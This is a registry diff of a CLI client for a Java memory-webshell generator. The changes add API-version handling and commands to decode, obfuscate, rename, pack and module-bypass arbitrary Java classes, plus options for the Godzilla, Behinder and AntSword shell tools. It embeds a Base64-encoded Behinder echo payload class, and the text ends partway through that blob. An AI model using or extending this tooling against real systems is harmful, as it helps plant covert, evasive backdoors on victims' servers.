memshell-party-cli 0.6.0 → 0.8.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/cli.js CHANGED
@@ -1,7 +1,7 @@
1
1
  #!/usr/bin/env node
2
2
 
3
3
  // src/cli.ts
4
- import { Command as Command11, CommanderError as CommanderError2 } from "commander";
4
+ import { Command as Command12, CommanderError as CommanderError2 } from "commander";
5
5
 
6
6
  // src/api/client.ts
7
7
  var ApiError = class extends Error {
@@ -18,6 +18,7 @@ var MemPartyClient = class {
18
18
  baseUrl;
19
19
  fetchImpl;
20
20
  timeoutMs;
21
+ generationApiVersion;
21
22
  constructor(options) {
22
23
  this.baseUrl = options.baseUrl.replace(/\/+$/, "");
23
24
  this.fetchImpl = options.fetch ?? globalThis.fetch;
@@ -29,8 +30,14 @@ var MemPartyClient = class {
29
30
  }
30
31
  }
31
32
  // ---------- config ----------
32
- getServers() {
33
- return this.request("GET", "/api/config/servers");
33
+ async getServers() {
34
+ const config = await this.getConfig();
35
+ return Object.fromEntries(
36
+ Object.entries(config).map(([server, tools]) => [
37
+ server,
38
+ [...new Set(Object.values(tools).flat())]
39
+ ])
40
+ );
34
41
  }
35
42
  getConfig() {
36
43
  return this.request("GET", "/api/config");
@@ -38,20 +45,68 @@ var MemPartyClient = class {
38
45
  getPackerTree() {
39
46
  return this.request("GET", "/api/config/packers/tree");
40
47
  }
41
- getPackers() {
42
- return this.request("GET", "/api/config/packers");
48
+ async getPackers() {
49
+ try {
50
+ return await this.request("GET", "/api/config/packers");
51
+ } catch (err) {
52
+ if (!(err instanceof ApiError) || err.status !== 404) throw err;
53
+ return (await this.getPackerTree()).map((packer) => packer.name);
54
+ }
43
55
  }
44
- getCommandConfigs() {
56
+ async getCommandConfigs() {
57
+ const configs = await this.getShellToolConfigs();
58
+ const command = configs.find((config) => config.tool === "Command");
59
+ if (command) {
60
+ return {
61
+ encryptors: command.params.find((param) => param.name === "encryptor")?.options ?? [],
62
+ implementationClasses: command.params.find((param) => param.name === "implementationClass")?.options ?? []
63
+ };
64
+ }
45
65
  return this.request("GET", "/api/config/command/configs");
46
66
  }
67
+ async getShellToolConfigs() {
68
+ try {
69
+ return await this.request("GET", "/api/config/shelltool/configs");
70
+ } catch (err) {
71
+ if (err instanceof ApiError && err.status === 404) return [];
72
+ throw err;
73
+ }
74
+ }
75
+ getObfuscationOptions() {
76
+ return this.request("GET", "/api/config/obfuscation/options");
77
+ }
78
+ async getProbeResponseServers() {
79
+ try {
80
+ return await this.request("GET", "/api/config/probe/response/servers");
81
+ } catch (err) {
82
+ if (err instanceof ApiError && err.status === 404) return [];
83
+ throw err;
84
+ }
85
+ }
47
86
  getVersion() {
48
87
  return this.request("GET", "/api/version");
49
88
  }
50
89
  // ---------- generation ----------
51
- generateMemShell(req) {
52
- return this.request("POST", "/api/memshell/generate", {
53
- json: req
54
- });
90
+ async generateMemShell(req) {
91
+ const apiVersion = await this.getGenerationApiVersion();
92
+ try {
93
+ return await this.request("POST", "/api/memshell/generate", {
94
+ json: apiVersion === "v2" ? toLegacyMemShellRequest(req) : req
95
+ });
96
+ } catch (err) {
97
+ if (apiVersion === "v3" && err instanceof ApiError && /Unsupported packer:/.test(err.message)) {
98
+ throw new ApiError(
99
+ `${err.message}. On v3, packer groups are only categories; choose a leaf from 'memparty config packers' (e.g. DefaultBase64, not Base64).`,
100
+ err.status,
101
+ err.url
102
+ );
103
+ }
104
+ throw err;
105
+ }
106
+ }
107
+ getGenerationApiVersion() {
108
+ this.generationApiVersion ??= this.getVersion().then((version2) => Number(version2.currentVersion.split(".")[0]) >= 3 ? "v3" : "v2").catch(() => "v3");
109
+ return this.generationApiVersion;
55
110
  }
56
111
  generateProbe(req) {
57
112
  return this.request("POST", "/api/probe/generate", {
@@ -65,6 +120,16 @@ var MemPartyClient = class {
65
120
  raw: true
66
121
  });
67
122
  }
123
+ decodeBytecode(classBase64) {
124
+ return this.request("POST", "/api/bytecode/decode", {
125
+ text: classBase64
126
+ });
127
+ }
128
+ transformBytecode(req) {
129
+ return this.request("POST", "/api/bytecode/transform", {
130
+ json: req
131
+ });
132
+ }
68
133
  // ---------- transport ----------
69
134
  async request(method, path, opts = {}) {
70
135
  const url = `${this.baseUrl}${path}`;
@@ -118,6 +183,26 @@ var MemPartyClient = class {
118
183
  return JSON.parse(rawText);
119
184
  }
120
185
  };
186
+ function toLegacyMemShellRequest(req) {
187
+ const { pass, key, paramName, template, ...common } = req.shellToolConfig;
188
+ const { obfuscation: _obfuscation, obfuscationScope: _obfuscationScope, ...shellConfig } = req.shellConfig;
189
+ return {
190
+ ...req,
191
+ shellConfig: {
192
+ ...shellConfig,
193
+ probe: shellConfig.probe ? true : void 0
194
+ },
195
+ shellToolConfig: {
196
+ ...common,
197
+ godzillaPass: req.shellConfig.shellTool.startsWith("Godzilla") ? pass : void 0,
198
+ godzillaKey: key,
199
+ commandParamName: paramName,
200
+ commandTemplate: template,
201
+ behinderPass: req.shellConfig.shellTool === "Behinder" ? pass : void 0,
202
+ antSwordPass: req.shellConfig.shellTool === "AntSword" ? pass : void 0
203
+ }
204
+ };
205
+ }
121
206
 
122
207
  // src/core/config.ts
123
208
  import { readFileSync } from "fs";
@@ -185,6 +270,8 @@ Examples:
185
270
  $ memparty config tools Tomcat # tools available on one server (values for gen -t)
186
271
  $ memparty config packers # packer tree (values for gen -p)
187
272
  $ memparty config command # Command-tool encryptors and impl classes
273
+ $ memparty config tool-configs # v3+ tool parameter names and enum values
274
+ $ memparty config obfuscation # v3+ obfuscation option reference
188
275
  `
189
276
  );
190
277
  config.command("servers").description("List supported servers and their shell types").option("--json", "output raw JSON").action(async (opts, cmd) => {
@@ -220,6 +307,31 @@ Examples:
220
307
  ${p.children.join(", ")}` : p.name)
221
308
  );
222
309
  });
310
+ config.command("tool-configs").description("List shell tool parameters (empty for v2 backends)").option("--json", "output raw JSON").action(async (opts, cmd) => {
311
+ const client = createClient(cmd.optsWithGlobals());
312
+ const configs = await client.getShellToolConfigs();
313
+ printJsonOrLines(
314
+ configs,
315
+ opts.json,
316
+ () => configs.length ? configs.flatMap((config2) => [
317
+ config2.tool,
318
+ ...config2.params.map(
319
+ (param) => ` ${param.name} (${param.type})${param.options.length ? `: ${param.options.join(", ")}` : ""}`
320
+ )
321
+ ]) : ["No v3 shell-tool config endpoint on this backend."]
322
+ );
323
+ });
324
+ config.command("obfuscation").description("List obfuscation options (MemShellParty v3+)").option("--json", "output raw JSON").action(async (opts, cmd) => {
325
+ const client = createClient(cmd.optsWithGlobals());
326
+ const options = await client.getObfuscationOptions();
327
+ printJsonOrLines(
328
+ options,
329
+ opts.json,
330
+ () => options.map(
331
+ (option) => Object.entries(option).map(([key, value]) => `${key}=${JSON.stringify(value)}`).join(" ")
332
+ )
333
+ );
334
+ });
223
335
  config.command("command").description("List Command-tool encryptors and implementation classes").option("--json", "output raw JSON").action(async (opts, cmd) => {
224
336
  const client = createClient(cmd.optsWithGlobals());
225
337
  const cc = await client.getCommandConfigs();
@@ -230,9 +342,160 @@ Examples:
230
342
  });
231
343
  }
232
344
 
233
- // src/commands/connect.ts
345
+ // src/commands/bytecode.ts
346
+ import { readFileSync as readFileSync2 } from "fs";
234
347
  import { Option } from "commander";
235
348
 
349
+ // src/core/output.ts
350
+ import { writeFileSync } from "fs";
351
+ var BINARY_EXTENSIONS = [".class", ".jar", ".zip", ".ser", ".bin"];
352
+ function hasBinaryExtension(path) {
353
+ const lower = path.toLowerCase();
354
+ return BINARY_EXTENSIONS.some((ext) => lower.endsWith(ext));
355
+ }
356
+ function shouldDecode(opts) {
357
+ if (opts.decode !== void 0) return opts.decode;
358
+ if (opts.outFile) return hasBinaryExtension(opts.outFile);
359
+ return false;
360
+ }
361
+ function emitPayload(payload, opts, sinks = {}) {
362
+ const writeFile = sinks.writeFile ?? ((p, d) => writeFileSync(p, d));
363
+ const writeStdout = sinks.writeStdout ?? ((d) => process.stdout.write(d));
364
+ const decoded = shouldDecode(opts);
365
+ if (opts.outFile) {
366
+ if (decoded) {
367
+ const buf = Buffer.from(payload, "base64");
368
+ writeFile(opts.outFile, buf);
369
+ return { destination: opts.outFile, size: buf.length, decoded: true };
370
+ }
371
+ writeFile(opts.outFile, payload);
372
+ return { destination: opts.outFile, size: Buffer.byteLength(payload), decoded: false };
373
+ }
374
+ if (decoded) {
375
+ const buf = Buffer.from(payload, "base64");
376
+ writeStdout(buf.toString("binary"));
377
+ return { destination: "stdout", size: buf.length, decoded: true };
378
+ }
379
+ writeStdout(payload.endsWith("\n") ? payload : `${payload}
380
+ `);
381
+ return { destination: "stdout", size: payload.length, decoded: false };
382
+ }
383
+ function hasMultiplePackResults(r) {
384
+ return r.allPackResults != null && Object.keys(r.allPackResults).length > 0;
385
+ }
386
+ function emitSinglePackResult(r, opts, sinks = {}) {
387
+ if (hasMultiplePackResults(r)) {
388
+ const n = Object.keys(r.allPackResults).length;
389
+ throw new Error(
390
+ `the aggregate packer returned ${n} variants at once \u2014 cannot write them to a single file. Pick a leaf packer instead (see 'memparty config packers', e.g. DefaultBase64).`
391
+ );
392
+ }
393
+ if (r.packResult === void 0) {
394
+ throw new Error("Server returned no packResult.");
395
+ }
396
+ return emitPayload(r.packResult, opts, sinks);
397
+ }
398
+
399
+ // src/core/obfuscation.ts
400
+ function parseObfuscationOptions(input3) {
401
+ if (input3 === void 0 || input3.trim() === "") return void 0;
402
+ const options = {};
403
+ for (const entry of input3.split(/[,\n]/)) {
404
+ const separator = entry.indexOf("=");
405
+ const key = entry.slice(0, separator < 0 ? void 0 : separator).trim();
406
+ if (separator < 0 || key === "") {
407
+ throw new Error(`Invalid obfuscation option "${entry.trim()}": expected key=value.`);
408
+ }
409
+ if (Object.hasOwn(options, key)) {
410
+ throw new Error(`Duplicate obfuscation option "${key}".`);
411
+ }
412
+ const value = entry.slice(separator + 1).trim();
413
+ if (value === "true" || value === "false") {
414
+ options[key] = value === "true";
415
+ } else if (/^-?(?:\d+|\d*\.\d+)$/.test(value)) {
416
+ options[key] = Number(value);
417
+ } else {
418
+ options[key] = value;
419
+ }
420
+ }
421
+ return options;
422
+ }
423
+
424
+ // src/commands/bytecode.ts
425
+ function classInput(base64, file) {
426
+ if (file !== void 0 && base64 !== void 0) {
427
+ throw new Error("Pass either a Base64 argument or --file, not both.");
428
+ }
429
+ if (file !== void 0) return readFileSync2(file).toString("base64");
430
+ if (base64 !== void 0) return base64;
431
+ if (process.stdin.isTTY) {
432
+ throw new Error("Provide Base64 as an argument, --file <path>, or Base64 on stdin.");
433
+ }
434
+ return readFileSync2(0, "utf8");
435
+ }
436
+ function buildBytecodeTransformRequest(base64, opts) {
437
+ const renamePackage = opts.renamePackage || opts.relocateFrom !== void 0 || opts.relocateTo !== void 0;
438
+ if (renamePackage && (!opts.relocateFrom || !opts.relocateTo)) {
439
+ throw new Error("Package relocation requires both --relocate-from and --relocate-to.");
440
+ }
441
+ const obfuscation = opts.obfuscate || opts.obfuscationOptions !== void 0 ? { enabled: true, options: parseObfuscationOptions(opts.obfuscationOptions) } : void 0;
442
+ return {
443
+ classBytesBase64: base64,
444
+ ...opts.packer === void 0 ? {} : { packer: opts.packer },
445
+ ...opts.bypassModule === void 0 ? {} : { byPassJavaModule: opts.bypassModule },
446
+ ...opts.staticInitialize === void 0 ? {} : { staticInitialize: opts.staticInitialize },
447
+ ...opts.shrink === void 0 ? {} : { shrink: opts.shrink },
448
+ ...renamePackage ? { renamePackage, relocateFrom: opts.relocateFrom, relocateTo: opts.relocateTo } : {},
449
+ ...opts.entryMethod === void 0 ? {} : { entryMethod: opts.entryMethod },
450
+ ...opts.newClassName === void 0 ? {} : { newClassName: opts.newClassName },
451
+ ...opts.randomName === void 0 ? {} : { randomName: opts.randomName },
452
+ ...obfuscation === void 0 ? {} : { obfuscation },
453
+ ...opts.probeMethod === void 0 ? {} : {
454
+ server: opts.server ?? "Unknown",
455
+ probe: {
456
+ probeMethod: opts.probeMethod,
457
+ probeContent: "Bytecode",
458
+ respHeaderName: opts.respHeaderName
459
+ }
460
+ }
461
+ };
462
+ }
463
+ function registerBytecodeCommand(program) {
464
+ const command = program.command("bytecode").description("Decode and transform arbitrary Java classes (MemShellParty v3+)");
465
+ command.command("decode").description("Decode Base64/GzipBase64 class bytes and print class metadata").argument("[base64]", "Base64/GzipBase64 class bytes (omit when using --file or stdin)").option("-f, --file <path>", "read a .class file from disk").option("--json", "print the full JSON response").addHelpText("after", "\nExamples:\n $ memparty bytecode decode -f Payload.class\n $ cat Payload.class | memparty bytecode decode --json\n").action(async (base64, opts, cmd) => {
466
+ const client = createClient(cmd.optsWithGlobals());
467
+ const result = await client.decodeBytecode(classInput(base64, opts.file));
468
+ if (opts.json) process.stdout.write(`${JSON.stringify(result, null, 2)}
469
+ `);
470
+ else process.stdout.write(`${result.className} (${result.size} bytes)
471
+ ${result.classBytesBase64Str}
472
+ `);
473
+ });
474
+ command.command("transform").description("Rename, relocate, instrument, obfuscate or pack a class").argument("[base64]", "Base64/GzipBase64 class bytes (omit when using --file or stdin)").option("-f, --file <path>", "read a .class file from disk").option("-p, --packer <packer>", "packer, e.g. DefaultBase64, JSP").option("--bypass-module", "bypass Java module restrictions").option("--static-initialize", "call the no-argument constructor from a static initializer").option("--no-shrink", "keep bytecode debug information").option("--rename-package", "enable package relocation").option("--relocate-from <prefix>", "original package prefix, e.g. javax.servlet").option("--relocate-to <prefix>", "replacement package prefix, e.g. jakarta.servlet").option("--entry-method <signature>", "add an entry method, e.g. 'public static void main(String[] args)'").option("--new-class-name <name>", "new simple or fully-qualified class name").option("--random-name", "generate a random class and package name").option("--obfuscate", "enable class obfuscation").option("--obfuscation-options <options>", "obfuscation overrides: key=value, comma-separated").option("--server <server>", "response-wrapper server (default: Unknown)").addOption(new Option("--probe-method <method>", "embed a Bytecode response wrapper").choices(["ResponseBody", "ResponseHeader"])).option("--resp-header-name <name>", "ResponseHeader response header (random when omitted)").option("-o, --output <file>", "write the packed result, or the transformed class when no packer is given").option("--json", "print the full JSON response; outputFile is added when -o is used").addHelpText("after", "\nExamples:\n $ memparty bytecode transform -f Payload.class --relocate-from javax.servlet --relocate-to jakarta.servlet -o JakartaPayload.class\n $ memparty bytecode transform -f Payload.class --entry-method 'public static void main(String[] args)' -o Entry.class\n $ memparty bytecode transform -f Payload.class --server Tomcat --probe-method ResponseHeader -p DefaultBase64 -o Probe.class --json\n").action(async (base64, opts, cmd) => {
475
+ const client = createClient(cmd.optsWithGlobals());
476
+ const request = buildBytecodeTransformRequest(classInput(base64, opts.file), opts);
477
+ const result = await client.transformBytecode(request);
478
+ const outputFile = opts.output === void 0 ? void 0 : result.packResult !== void 0 ? emitSinglePackResult(result, { outFile: opts.output }) : emitPayload(result.classBytesBase64Str, { outFile: opts.output, decode: true });
479
+ if (opts.json) {
480
+ process.stdout.write(`${JSON.stringify(outputFile === void 0 ? result : { ...result, outputFile }, null, 2)}
481
+ `);
482
+ return;
483
+ }
484
+ logInfo(`class: ${result.className} (${result.size} bytes)`);
485
+ if (outputFile !== void 0) {
486
+ logInfo(`wrote ${outputFile.size} bytes to ${outputFile.destination}`);
487
+ } else if (result.packResult !== void 0) {
488
+ emitSinglePackResult(result, {});
489
+ } else {
490
+ process.stdout.write(`${result.classBytesBase64Str}
491
+ `);
492
+ }
493
+ });
494
+ }
495
+
496
+ // src/commands/connect.ts
497
+ import { Option as Option2 } from "commander";
498
+
236
499
  // src/connect/assets.ts
237
500
  var ECHO_CLASS_B64 = "yv66vgAAADQBRwoADwCtBwCuCgACAK0KAGEArwgAsAgAsQsASwCyCACzCQBhALQJAGEAtQoADwC2CAC3BwC4CgANALkHALoKALsAvAgAcwcAgAoAYQC9CAC+CgAeAL8KAGEAwAgAwQgAwgcAwwoAGQDECgAZAMUJAGEAxggAxwcAyAgAyQoADwDKCADLBwDMCADNCgAiAM4IAM8KACcA0AcA0QoAJwDSCgAnANMHANQKACoArQoAKgDVCgAqANYKAGEA1woAHgDYBwDZCgAwAK0IANoKANsA3AgA3QoAMADeCwBLAN8LAOAA4QsAlADiCwCUAOMIAOQIAOUKADAAygsASwDmCADnCADoCgAeAOkKADAA6goAMADrCADsCgANAO0IAO4KAB4A7wgA8AkAYQDxCADyCADzBwD0CAD1CAD2CAD3CAD4CAD5CAD6CgANAPsIAPwIAP0HAP4IAP8KAA0BAAgAjwgBAQoAHgECCAEDCgAeAQQKAQUBBgcBBwoAXgCtCgBeAQgHAQkBAAdjb250ZW50AQASTGphdmEvbGFuZy9TdHJpbmc7AQALcGF5bG9hZEJvZHkBAAdSZXF1ZXN0AQASTGphdmEvbGFuZy9PYmplY3Q7AQAIUmVzcG9uc2UBAAdTZXNzaW9uAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAClMbmV0L3JlYmV5b25kL2JlaGluZGVyL3BheWxvYWQvamF2YS9FY2hvOwEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAAnNvAQAFd3JpdGUBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAANvYmoBAAZyZXN1bHQBAA9MamF2YS91dGlsL01hcDsBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQA1TGphdmEvdXRpbC9NYXA8TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7PjsBAA1TdGFja01hcFRhYmxlAQAHRW5jcnlwdAEABihbQilbQgEAAmJzAQACW0IBAANrZXkBAANyYXcBAAhza2V5U3BlYwEAIUxqYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjOwEABmNpcGhlcgEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEACWVuY3J5cHRlZAEAA2JvcwEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAApFeGNlcHRpb25zAQAJYnVpbGRKc29uAQAkKExqYXZhL3V0aWwvTWFwO1opTGphdmEvbGFuZy9TdHJpbmc7AQAFdmFsdWUBAAZlbnRpdHkBAAZlbmNvZGUBAAFaAQACc2IBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAHdmVyc2lvbgcBCgEACVNpZ25hdHVyZQEASihMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzs+O1opTGphdmEvbGFuZy9TdHJpbmc7AQALZmlsbENvbnRleHQBABUoTGphdmEvbGFuZy9PYmplY3Q7KVYBAAZvYmpNYXABADVMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDs+OwEADGJhc2U2NGVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdFbmNvZGVyAQAGQmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAVlcnJvcgEAFUxqYXZhL2xhbmcvVGhyb3dhYmxlOwEABGRhdGEBAAhnZXRNYWdpYwEABCgpW0IBAAFpAQABSQEACG1hZ2ljTnVtAQAGcmFuZG9tAQASTGphdmEvdXRpbC9SYW5kb207AQADYnVmAQAKU291cmNlRmlsZQEACUVjaG8uamF2YQwAaQBqAQAXamF2YS91dGlsL0xpbmtlZEhhc2hNYXAMAJcAmAEABnN0YXR1cwEAB3N1Y2Nlc3MMAQsBDAEAA21zZwwAYgBjDABnAGYMAQ0BDgEAD2dldE91dHB1dFN0cmVhbQEAD2phdmEvbGFuZy9DbGFzcwwBDwEQAQAQamF2YS9sYW5nL09iamVjdAcBEQwBEgETDACLAIwBAAVVVEYtOAwBFAEVDAB9AH4BAAVmbHVzaAEABWNsb3NlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBFgBqDAEXARgMAGgAZgEADGdldEF0dHJpYnV0ZQEAEGphdmEvbGFuZy9TdHJpbmcBAAF1DAEZARgBAAV1dGYtOAEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBAANBRVMMAGkBGgEAFEFFUy9FQ0IvUEtDUzVQYWRkaW5nDAEbARwBABNqYXZheC9jcnlwdG8vQ2lwaGVyDAEdAR4MAR8AfgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDABzASAMASEApAwAmwCcDAEUAKQBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEADGphdmEudmVyc2lvbgcBIgwBIwEkAQABewwBJQEmDAEnASgHASkMASoBKwwBLAEtDAEuAS8BAAEiAQADIjoiDAEwATEBAAIiLAEAASwMATIBMwwBNAE1DAE2ATcBAAF9DAE4ARgBAAtQYWdlQ29udGV4dAwBOQE6AQAKZ2V0UmVxdWVzdAwAZQBmAQALZ2V0UmVzcG9uc2UBAApnZXRTZXNzaW9uAQANamF2YS91dGlsL01hcAEAB3Nlc3Npb24BAAhyZXNwb25zZQEAB3JlcXVlc3QBABRzZXRDaGFyYWN0ZXJFbmNvZGluZwEAAAEAEGphdmEudXRpbC5CYXNlNjQMATsBPAEACmdldEVuY29kZXIBAA5lbmNvZGVUb1N0cmluZwEAE2phdmEvbGFuZy9UaHJvd2FibGUBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAE9AS8BAAEKDAE+AT8BAAENDAFAAUEHAUIMAUMBRAEAEGphdmEvdXRpbC9SYW5kb20MAUUBRgEAJ25ldC9yZWJleW9uZC9iZWhpbmRlci9wYXlsb2FkL2phdmEvRWNobwEAEmphdmEvdXRpbC9JdGVyYXRvcgEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldEJ5dGVzAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAD3ByaW50U3RhY2tUcmFjZQEACmdldE1lc3NhZ2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACHRvU3RyaW5nAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAEaW5pdAEAFyhJTGphdmEvc2VjdXJpdHkvS2V5OylWAQAHZG9GaW5hbAEABShbQilWAQALdG9CeXRlQXJyYXkBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEABmtleVNldAEAESgpTGphdmEvdXRpbC9TZXQ7AQANamF2YS91dGlsL1NldAEACGl0ZXJhdG9yAQAWKClMamF2YS91dGlsL0l0ZXJhdG9yOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAUKClMamF2YS9sYW5nL09iamVjdDsBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGVuZHNXaXRoAQAVKExqYXZhL2xhbmcvU3RyaW5nOylaAQAGbGVuZ3RoAQADKClJAQAJc2V0TGVuZ3RoAQAEKEkpVgEAB2dldE5hbWUBAAdpbmRleE9mAQAVKExqYXZhL2xhbmcvU3RyaW5nOylJAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAtuZXdJbnN0YW5jZQEAB3JlcGxhY2UBAEQoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KUxqYXZhL2xhbmcvU3RyaW5nOwEACXN1YnN0cmluZwEAFihJSSlMamF2YS9sYW5nL1N0cmluZzsB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